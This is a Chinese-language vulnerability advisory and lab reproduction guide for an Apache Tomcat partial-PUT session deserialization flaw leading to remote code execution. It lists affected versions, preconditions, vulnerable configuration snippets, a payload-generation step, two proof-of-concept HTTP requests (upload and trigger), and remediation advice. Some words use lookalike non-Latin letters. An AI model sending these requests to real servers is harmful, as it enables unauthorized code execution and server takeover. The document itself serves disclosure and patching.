影响范围:
11.0.0-M1 <= Apache Tomcat <= 11.0.2
10.1.0-M1 <= Apache Tomcat <= 10.1.34
9.0.0.M1 <= Apache Tomcat <= 9.0.98
漏洞描述:
当应用程序启用DеfаultSеrvlеt写入功能(默认情况下禁用)、使用 Tоmсаt默认会话持久机制和存储位置、依赖库存在反序列化利用链时,未授权攻击者能够执行恶意代码获取服务器权限。
利用条件:
启用DеfаultSеrvlеt写入功能(默认情况下禁用)
服务器启用了partial PUT请求(默认启用)
使用Tomcat默认会话持久机制和存储位置(非默认配置,需手动设置)
依赖库存在反序列化利用链(如Commons-Collections 3.2.1)。
漏洞原理:
Content-Range 在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。在文件上传未完成的情况下,内容会被临时存储在Tomcat的工作目录:$CATALINA_BASE/work/Catalina/localhost/ROOT。
该漏洞的核心在于不完整PUT请求上传时的文件名处理机制:文件路径中的分隔符/会被转换为.。例如:访问/xxxxx/session会被解析为.xxxxx.session
因此整个漏洞的利用过程为:
1、Tomcat的File会话存储默认路径同样位于:CATALINA_BASE/work/Catalina/localhost/ROOT
2、当存在反序列化利用链时,可以上传包含恶意序列化数据的文件
3、通过设置JSESSIONID=.xxxxx来触发漏洞
复现步骤:
环境配置:
Windows漏洞环境下载
其他版本自行选择
https://tomcat.apache.org/
https://archive.apache.org/dist/tomcat/tomcat-9/
在下载解压后的tomcat目录下,找到/conf/context.xml文件进行添加配置,开启File文件会话存储
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
找到/conf/web.xml,将DefaultServlet的readonly配置为false,启用写入功能
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
利用需要反序列化链,下载commons-collections-3.2.1,并将commons-collections-3.2.1.jar文件复制到\apache-tomcat-9.0.98\lib目录下
Windows启动tomcat
访问8080端口
复现:
使用yakit的Yso-Java-Hack快速生成一个恶意的序列化文件
利用链选择CommonsCollectionsK1/RuntimeExec
使用POC将生成的base64数据上传,需要注意Range的分块值需要与Length保持一致,且大于当前文件的长度。
POC:
PUT /xxxxx/session HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200
{{base64dec(反序列化文件内容)}}
在\apache-tomcat-9.0.98\work\Catalina\localhost\ROOT目录下可以看到,已经将数据上传成功
再使用如下POC触发(该session文件是临时文件有时间的,时间到了也会自动触发)
GET / HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=.xxxxx
修复措施建议:
1、升级版本
升级到 Apache Tomcat 11.0.3 或更高版本
升级到 Apache Tomcat 10.1.35 或更高版本
升级到 Apache Tomcat 9.0.99 或更高版本
2、禁止partial PUT:在conf/web.xml中修改allowPartialPut参数为false,并重启Tomcat以使配置生效
3、严格控制DefaultServlet写入权限:确保readOnly=true,禁用所有未经授权的PUT/DELETE请求,仅允许可信来源访问受限目录
4、检查应用程序依赖库
漏洞公告:
参考链接:
https://forum.butian.net/article/674